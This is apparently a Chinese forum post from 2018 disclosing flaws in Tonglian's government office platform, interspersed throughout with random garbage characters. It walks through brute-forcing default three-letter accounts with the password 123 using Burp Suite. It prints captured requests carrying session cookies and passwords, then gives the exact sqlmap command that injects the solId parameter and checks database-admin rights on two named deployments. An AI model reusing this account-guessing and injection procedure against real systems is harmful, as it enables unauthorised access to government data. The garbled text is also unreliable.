|
) p" Q r0 |# H( M' X" O
5 d6 s! f$ l5 E7 m % v6 `, E2 ^+ V: C4 A. Q' T
8 L4 U/ Q" K. x; j
平台简介：: E _2 A: k# u/ m* F7 V0 ?' \
/ f- m$ n" X, O+ B3 `# O
+ h% M# z1 j$ b" ]4 P G 2 B6 X& y' U$ j, X5 z3 E
7 h+ z0 o1 a- T( L
. x0 n; k& w6 i: d0 s! l+ q 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
1 I" T6 Z7 J3 i8 W2 H
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
* I% y/ ]# T( V1 y9 Z- ^同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！/ B3 H) o% q o+ K. E
" ]' Z( q; i3 {+ w
$ t6 }5 U) t" S# V
' }4 p/ B% ~7 Y% [& J' s0 D C+ ^" S% w4 d& b
' x5 v4 K& p; o. ^# U. m
由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： J/ S) j3 Y0 ^. M+ F: _
' N% }) {0 z, d) _' K6 \/ `. v; d7 D8 B
5 l# c, k5 ~3 o- W8 y' q I
P/ f: v# |; P 1 {8 u; w$ b6 b7 i; D( N
0 S5 _% h' w; ^) C/ d, B8 o http://1.1.1.1:7197/cap-aco/#（案例2-）; x, C3 i5 e5 g% d
0 L0 O6 c0 G# P+ _, P
1 v T3 \. y4 W6 y; s http://www.XXOO.com （案例1-官网网站）' f* b N/ i/ e6 x3 }; `" o
. q( K: G' j% |4 H. q
, P$ W+ `- N3 Z5 `
3 p& ?6 j8 b: J" H; e, i6 B
5 d& t6 Q" i$ E! {6 ^( u) ?
& g" N( ^$ @8 F1 X3 ^5 p! U 漏洞详情:
9 _3 j T5 H0 `( [$ j # ?* E' H2 Y7 [. R7 e
( `* Z8 B7 E& F0 I3 } 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试- [& }4 D) N; c5 A0 A
2 D& Y/ l1 j# T0 Y8 G$ `9 ]
. Z! [0 g- G: X, c! o 首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：: ~1 q7 D+ {! v5 X) a
4 n0 A% u' {- s. J
$ u g9 K4 a* |1 M- C# `
+ i4 @4 U; [9 [- N
# h. a& e! u! h4 J( p1 T4 |8 m6 @" x" K! E+ j4 N; d
 : {" r! N2 B' h
* A- T) B. e- `/ Y7 q
8 k5 n6 f5 \: O C* A
status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：, @5 z2 l" W$ P$ d" }1 U
3 H* F2 U" a+ X m ^: U
, i& _4 c1 y; n& ~6 o5 [
1、案例1-官方网站
% n6 v$ Y1 A7 U
# m% [$ v7 D# |/ I: A: h0 z- m' m8 P1 u9 {
GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1. S, |3 z6 X U& } E- n6 i
5 B- u3 o( c0 t- a8 I5 O ?6 W, f/ L; P
Host: www.XXOO.com6 R( g! S7 d0 F" n& {
+ d9 c: @6 ?4 g! T: x n* _( Y. B
( N# {# w5 }4 \; ]! Q) n& d
Proxy-Connection: Keep-Alive
9 O4 o" A, Z* S9 n. R' N3 D * ^; V, |) L! i% k2 K
. j, d) k/ B0 i: Y Accept: application/json, text/javascript, */*; q=0.018 b0 N# T; |4 z% v' ^: P
3 ~& u4 c N% d) @- T* q
4 z/ D( j. E# y
Accept-Language: zh-CN5 C8 K, T8 u t8 M1 L3 B$ \
( `7 Z: F% z% c9 }1 _" G7 b' ?6 N7 q. [' J
Content-Type: application/json
6 {* S9 ^( M. g7 w+ |3 {* I 2 L' s8 P% C4 m) ~/ h
. F+ b5 |1 I; i
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
& t' x# _6 L. O: \
' Z2 ?0 g" J5 r2 y! H. G5 S% |
% o9 N6 D8 `# L+ H! ]0 C X-Requested-With: XMLHttpRequest* o, Z. U R5 ~8 f- A
' F/ h% D! I5 N2 D
, h) W% f( Y/ r6 J; A) h( N# u7 f Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002. B% y r, _/ e l0 G, y) W% \9 P$ H
8 U. \, I. Y! k8 L3 S
3 ~, a6 g* C% O/ K Accept-Encoding: gzip, deflate, sdch2 a5 L5 y( [9 O# H5 q
$ Z: {/ ~' m. m3 k) F
$ n( K1 h. I: R. D- Z. a Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e
/ e( Y1 ~1 s4 I4 K
, Y: f$ X3 a6 ~3 a/ i* B6 S* i) I9 y) S; D$ t! O
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
# T( J- y2 N1 g
9 D/ A3 [3 Q% J% c* A" k" H \8 X+ V0 x6 l3 y
# ? }, C2 G c: r* ~* H1 C9 z, V * q0 O! H7 V! ^5 b1 e
( W- s/ x! S X/ X8 V
 L8 U+ h) }! k; [) b9 T8 C! Q, Z
' B) G5 x% f& B
! J; d m& v) L# e, O' R) `) r
+ I4 P! w' e/ k" b; N+ g, K 2 |! t2 x8 r4 H! l6 m+ R0 u! q& x5 s
: i! m# Y% o2 @3 M+ t, T& C; L- U
: s7 ?5 | a! G0 w0 i$ N+ e & v; n- }! D# c+ [' g g
9 I0 q4 w2 t! e% p) Q* q1 ?/ a
: M, [4 ]. q$ g4 W& m - N, l) F* b( ]- r/ h) |7 i, V$ j' i
$ J' W" l8 ], K 2、案例2-某天河云平台
" O; K6 B b; y3 I+ T5 N + N- p# g2 G1 \% j6 r
/ u) c9 [/ ]6 ^ GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.16 e Z' w# {0 E+ B5 t
1 j/ b5 G& S4 W1 M$ [1 F0 W5 u7 Y6 B/ @7 n+ i& O# N
Host: 1.1.1.:7197
% I2 D0 }# ]: c7 K( R
0 p, n2 `4 ?+ u8 X
+ Q2 e& b$ M4 L- @! F. s Accept: application/json, text/javascript, */*; q=0.01
! Q' d8 [! b2 W. i 1 Z z; C! `, Q; C0 _# v, c( j, ^: B
* S$ [0 T+ s2 U* _- [$ m! \
X-Requested-With: XMLHttpRequest
+ d7 v' d# r+ L7 q4 O% f
+ Z0 _( K# ~0 h# J, V$ g- z# O
% W9 M; w" {! p% s1 _$ m8 t+ a User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
7 Q$ ~* a1 p5 K- Z, g
, q' _% C- B1 l% G. L2 \" _* l5 f! r, w) m
Content-Type: application/json
3 M8 g2 l2 u" h8 d- h3 T$ }1 T
- Y2 J2 \3 P6 |* V( ]
* p* J" L3 V: j# C0 ~ Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008
. D1 ~4 P2 j1 b# S C: q4 \
. V1 S. z$ U7 [) |' z, B7 E& K6 Q
Accept-Language: zh-CN,zh;q=0.8. |/ J, B, _/ {& u5 [
! U9 s/ H' l$ @3 D0 W% K7 f
& z1 u3 n/ {# D9 X8 | Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1/ r0 C/ d& S- V+ g# Q5 |
8 x1 e6 ]9 P8 K4 O0 Q' s
5 p5 K2 ^8 ^7 B0 ^% B
Connection: close
3 }* g) N% z5 a* X4 @3 G) h9 k
( V/ g- k. L3 |% M$ l
: ~9 A$ {' X+ L. S4 F; @$ v 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
/ b" C1 e% f$ L! [! O
3 [# V+ v0 S* e1 Q8 o7 ^9 V) K7 Q' W* Z, a0 x3 M. N# T2 m
 5 m$ E$ I R& G& g t. ~
# q; X1 Y! G+ ]# W! W
, D* O e3 z v
; a2 r6 K/ H% B | 
发表于 2018-10-20 20:15:17
收藏
支持
反对